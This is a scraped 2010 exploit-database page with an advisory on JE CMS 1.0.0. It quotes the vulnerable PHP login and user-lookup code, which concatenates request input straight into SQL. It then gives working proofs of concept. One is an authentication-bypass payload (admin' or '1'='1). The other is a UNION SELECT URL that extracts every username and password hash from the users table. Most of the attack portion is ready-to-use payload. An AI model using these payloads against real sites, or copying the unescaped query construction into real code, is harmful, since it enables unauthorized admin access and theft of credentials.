Home / os / win7

[webapps / 0day] - JE CMS 1.0.0 Bypass Authentication by SQL

Posted on 28 September 2010

<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>JE CMS 1.0.0 Bypass Authentication by SQL Injection Vulnerability | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='Date: 28 Sep 2010 | Exploit category: webapps / 0day | Exploit author: Abysssec | Inj3ct0r - exploit database : vulnerability : 0day : shellcode' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></head><body><pre>================================================================= JE CMS 1.0.0 Bypass Authentication by SQL Injection Vulnerability ================================================================= Title : JE CMS 1.0.0 Bypass Authentication by SQL Injection Vulnerability Affected Version : JE CMS &lt;= 1.0.0 Vendor Site : joenasejes.cz.cc Discovery : abysssec.com Vulnerabilites : 1. Bypass Authentication by SQL Injection Vulnerability in administratorlogin.php page, lines 16-20: if (isset($_REQUEST[&#039;username&#039;])) { $username = $_REQUEST[&#039;username&#039;]; $password = $_REQUEST[&#039;password&#039;]; $result = $core-&gt;userLogin(); userLogin() function is in administratorlibraryfunctions.php. in lines 129-139: if ($userName == &#039;&#039; || $password == &#039;&#039;) { $errorMessage = JE_MISMATCH_USERNAME_PASSWORD; } else { // check the database and see if the username and password combo do match $sql = &quot;SELECT userid FROM users WHERE username = &#039;&quot;.$userName.&quot;&#039; // vulnerability is here AND password = &#039;&quot;.$this-&gt;getHash($password).&quot;&#039; // vulnerability is here AND usertype = 1 AND block = 0&quot;; $result = $this-&gt;JEQuery($sql); POC: in administrator/login.php: username: admin&#039; or &#039;1&#039;=&#039;1 password: admin&#039; or &#039;1&#039;=&#039;1 2. SQL injection in administratorindex.php on &quot;userid&quot; parameter: in administratorindex.php file line 12: $userid = $_REQUEST[&#039;userid&#039;]; lines 52-53: case &#039;edituser&#039; : $user = $core-&gt;getUser($userid); getUser function is in administratorlibraryfunctions.php file. lines 578-583: function getUser($id){ $sql = &quot;SELECT * FROM users WHERE userid = &quot;.$id; // vulnerability is here $result = $this-&gt;JEQuery($sql); POC: http://site/joenas-ejes/administrator/index.php?jepage=edituser&amp;userid=1 and 1=2 UNION SELECT 1,2,3,4,group_concat(username,0x3a,password),6,7,8,9,10,11,12 from users-- # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-09-28]</pre></body></html>

 

TOP